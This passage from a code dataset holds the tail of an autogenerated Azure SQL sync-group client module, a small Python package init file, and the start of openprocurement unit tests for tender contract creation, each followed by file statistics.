exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.SyncFullSchemaPropertiesPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.SyncFullSchemaPropertiesPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
list_hub_schemas.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}/hubSchemas'}
def list_logs(
self, resource_group_name, server_name, database_name, sync_group_name, start_time, end_time, type, continuation_token=None, custom_headers=None, raw=False, **operation_config):
"""Gets a collection of sync group logs.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param start_time: Get logs generated after this time.
:type start_time: str
:param end_time: Get logs generated before this time.
:type end_time: str
:param type: The types of logs to retrieve. Possible values include:
'All', 'Error', 'Warning', 'Success'
:type type: str
:param continuation_token: The continuation token for this operation.
:type continuation_token: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of SyncGroupLogProperties
:rtype:
~azure.mgmt.sql.models.SyncGroupLogPropertiesPaged[~azure.mgmt.sql.models.SyncGroupLogProperties]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = self.list_logs.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['startTime'] = self._serialize.query("start_time", start_time, 'str')
query_parameters['endTime'] = self._serialize.query("end_time", end_time, 'str')
query_parameters['type'] = self._serialize.query("type", type, 'str')
if continuation_token is not None:
query_parameters['continuationToken'] = self._serialize.query("continuation_token", continuation_token, 'str')
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.SyncGroupLogPropertiesPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.SyncGroupLogPropertiesPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
list_logs.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}/logs'}
def cancel_sync(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, **operation_config):
"""Cancels a sync group synchronization.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = self.cancel_sync.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
cancel_sync.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}/cancelSync'}
def trigger_sync(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, **operation_config):
"""Triggers a sync group synchronization.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = self.trigger_sync.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
trigger_sync.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}/triggerSync'}
def get(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, **operation_config):
"""Gets a sync group.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SyncGroup or ClientRawResponse if raw=true
:rtype: ~azure.mgmt.sql.models.SyncGroup or
~msrest.pipeline.ClientRawResponse
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = self.get.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SyncGroup', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}'}
def _create_or_update_initial(
self, resource_group_name, server_name, database_name, sync_group_name, parameters, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.create_or_update.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'SyncGroup')
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 201, 202]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SyncGroup', response)
if response.status_code == 201:
deserialized = self._deserialize('SyncGroup', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def create_or_update(
self, resource_group_name, server_name, database_name, sync_group_name, parameters, custom_headers=None, raw=False, polling=True, **operation_config):
"""Creates or updates a sync group.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param parameters: The requested sync group resource state.
:type parameters: ~azure.mgmt.sql.models.SyncGroup
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns SyncGroup or
ClientRawResponse<SyncGroup> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.sql.models.SyncGroup]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.sql.models.SyncGroup]]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
raw_result = self._create_or_update_initial(
resource_group_name=resource_group_name,
server_name=server_name,
database_name=database_name,
sync_group_name=sync_group_name,
parameters=parameters,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('SyncGroup', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}'}
def _delete_initial(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.delete.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202, 204]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
def delete(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, polling=True, **operation_config):
"""Deletes a sync group.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns None or
ClientRawResponse<None> if raw==True
:rtype: ~msrestazure.azure_operation.AzureOperationPoller[None] or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[None]]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
raw_result = self._delete_initial(
resource_group_name=resource_group_name,
server_name=server_name,
database_name=database_name,
sync_group_name=sync_group_name,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}'}
def _update_initial(
self, resource_group_name, server_name, database_name, sync_group_name, parameters, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.update.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'SyncGroup')
# Construct and send request
request = self._client.patch(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SyncGroup', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def update(
self, resource_group_name, server_name, database_name, sync_group_name, parameters, custom_headers=None, raw=False, polling=True, **operation_config):
"""Updates a sync group.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param parameters: The requested sync group resource state.
:type parameters: ~azure.mgmt.sql.models.SyncGroup
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns SyncGroup or
ClientRawResponse<SyncGroup> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.sql.models.SyncGroup]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.sql.models.SyncGroup]]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
raw_result = self._update_initial(
resource_group_name=resource_group_name,
server_name=server_name,
database_name=database_name,
sync_group_name=sync_group_name,
parameters=parameters,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('SyncGroup', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}'}
def list_by_database(
self, resource_group_name, server_name, database_name, custom_headers=None, raw=False, **operation_config):
"""Lists sync groups under a hub database.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of SyncGroup
:rtype:
~azure.mgmt.sql.models.SyncGroupPaged[~azure.mgmt.sql.models.SyncGroup]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = self.list_by_database.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.SyncGroupPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.SyncGroupPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
list_by_database.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups'}
| 49.535565 | 225 | 0.667202 | 5,262 | 47,356 | 5.779932 | 0.050361 | 0.035214 | 0.034655 | 0.017097 | 0.919313 | 0.912244 | 0.908562 | 0.902052 | 0.899323 | 0.899323 | 0 | 0.002589 | 0.241553 | 47,356 | 955 | 226 | 49.587435 | 0.844196 | 0.276734 | 0 | 0.814 | 0 | 0.02 | 0.164848 | 0.0846 | 0 | 0 | 0 | 0 | 0 | 1 | 0.048 | false | 0 | 0.012 | 0 | 0.128 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6fa28a38a71fc5dfde80bc3ce0cac7121e4b6e4a | 183 | py | Python | symvarsub/numtransform/__init__.py | bjodah/symvarsub | aebbd3aabdc9f8c345c5892f5d3a0beebbbf906d | [
"BSD-2-Clause"
] | null | null | null | symvarsub/numtransform/__init__.py | bjodah/symvarsub | aebbd3aabdc9f8c345c5892f5d3a0beebbbf906d | [
"BSD-2-Clause"
] | null | null | null | symvarsub/numtransform/__init__.py | bjodah/symvarsub | aebbd3aabdc9f8c345c5892f5d3a0beebbbf906d | [
"BSD-2-Clause"
] | null | null | null | from __future__ import (absolute_import, division, print_function)
from .numtransform import NumTransformer
from .numtransform import lambdify
assert NumTransformer
assert lambdify
| 22.875 | 66 | 0.857923 | 20 | 183 | 7.55 | 0.55 | 0.211921 | 0.291391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10929 | 183 | 7 | 67 | 26.142857 | 0.92638 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0.2 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6fe98df84c595217c58f0a5f8c8d963e729a5ace | 49,659 | py | Python | src/openprocurement/tender/belowthreshold/tests/contract_blanks.py | scrubele/prozorro-testing | 42b93ea2f25d8cc40e66c596f582c7c05e2a9d76 | [
"Apache-2.0"
] | null | null | null | src/openprocurement/tender/belowthreshold/tests/contract_blanks.py | scrubele/prozorro-testing | 42b93ea2f25d8cc40e66c596f582c7c05e2a9d76 | [
"Apache-2.0"
] | 2 | 2021-03-25T23:27:04.000Z | 2022-03-21T22:18:15.000Z | src/openprocurement/tender/belowthreshold/tests/contract_blanks.py | scrubele/prozorro-testing | 42b93ea2f25d8cc40e66c596f582c7c05e2a9d76 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from datetime import timedelta
from copy import deepcopy
from openprocurement.api.utils import get_now
from openprocurement.tender.belowthreshold.tests.base import test_author
# TenderContractResourceTest
def create_tender_contract_invalid(self):
self.app.authorization = ("Basic", ("token", ""))
response = self.app.post_json(
"/tenders/some_id/contracts",
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
status=404,
)
self.assertEqual(response.status, "404 Not Found")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Not Found", u"location": u"url", u"name": u"tender_id"}]
)
request_path = "/tenders/{}/contracts".format(self.tender_id)
response = self.app.post(request_path, "data", status=415)
self.assertEqual(response.status, "415 Unsupported Media Type")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"],
[
{
u"description": u"Content-Type header should be one of ['application/json']",
u"location": u"header",
u"name": u"Content-Type",
}
],
)
response = self.app.post(request_path, "data", content_type="application/json", status=422)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"],
[{u"description": u"No JSON object could be decoded", u"location": u"body", u"name": u"data"}],
)
response = self.app.post_json(request_path, "data", status=422)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Data not available", u"location": u"body", u"name": u"data"}]
)
response = self.app.post_json(request_path, {"not_data": {}}, status=422)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Data not available", u"location": u"body", u"name": u"data"}]
)
response = self.app.post_json(request_path, {"data": {"invalid_field": "invalid_value"}}, status=422)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"], [{u"description": u"Rogue field", u"location": u"body", u"name": u"invalid_field"}]
)
response = self.app.post_json(request_path, {"data": {"awardID": "invalid_value"}}, status=422)
self.assertEqual(response.status, "422 Unprocessable Entity")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(response.json["status"], "error")
self.assertEqual(
response.json["errors"],
[{u"description": [u"awardID should be one of awards"], u"location": u"body", u"name": u"awardID"}],
)
def create_tender_contract(self):
self.app.authorization = ("Basic", ("token", ""))
contract_items = deepcopy(self.award_items)
for item in contract_items:
item["quantity"] += 0.5
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{
"data": {
"title": "contract title",
"description": "contract description",
"awardID": self.award_id,
"value": {
"amount": self.award_value["amount"],
"valueAddedTaxIncluded": self.award_value["valueAddedTaxIncluded"],
"currency": self.award_value["currency"],
"amountNet": self.award_value["amount"],
},
"suppliers": self.award_suppliers,
"items": contract_items,
}
},
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
contract = response.json["data"]
self.assertIn("id", contract)
self.assertIn("value", contract)
self.assertIn("suppliers", contract)
self.assertIn(contract["id"], response.headers["Location"])
self.assertEqual(contract["items"], contract_items)
tender = self.db.get(self.tender_id)
tender["contracts"][-1]["status"] = "terminated"
self.db.save(tender)
self.set_status("unsuccessful")
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"], "Can't add contract in current (unsuccessful) tender status"
)
self.app.authorization = ("Basic", ("broker", ""))
response = self.app.patch_json(
"/tenders/{}/contracts/{}?acc_token={}".format(self.tender_id, contract["id"], self.tender_token),
{"data": {"status": "active"}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
response.json["errors"][0]["description"], "Can't update contract in current (unsuccessful) tender status"
)
def create_tender_contract_in_complete_status(self):
self.app.authorization = ("Basic", ("token", ""))
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
)
self.assertEqual(response.status, "201 Created")
self.assertEqual(response.content_type, "application/json")
contract = response.json["data"]
self.assertIn("id", contract)
self.assertIn(contract["id"], response.headers["Location"])
tender = self.db.get(self.tender_id)
tender["contracts"][-1]["status"] = "terminated"
self.db.save(tender)
self.set_status("complete")
response = self.app.post_json(
"/tenders/{}/contracts".format(self.tender_id),
{"data": {"title": "contract title", "description": "contract description", "awardID": self.award_id}},
status=403,
)
self.assertEqual(response.status, "403 Forbidden")
self.assertEqual(response.content_type, "application/json")
self.assertEqual(
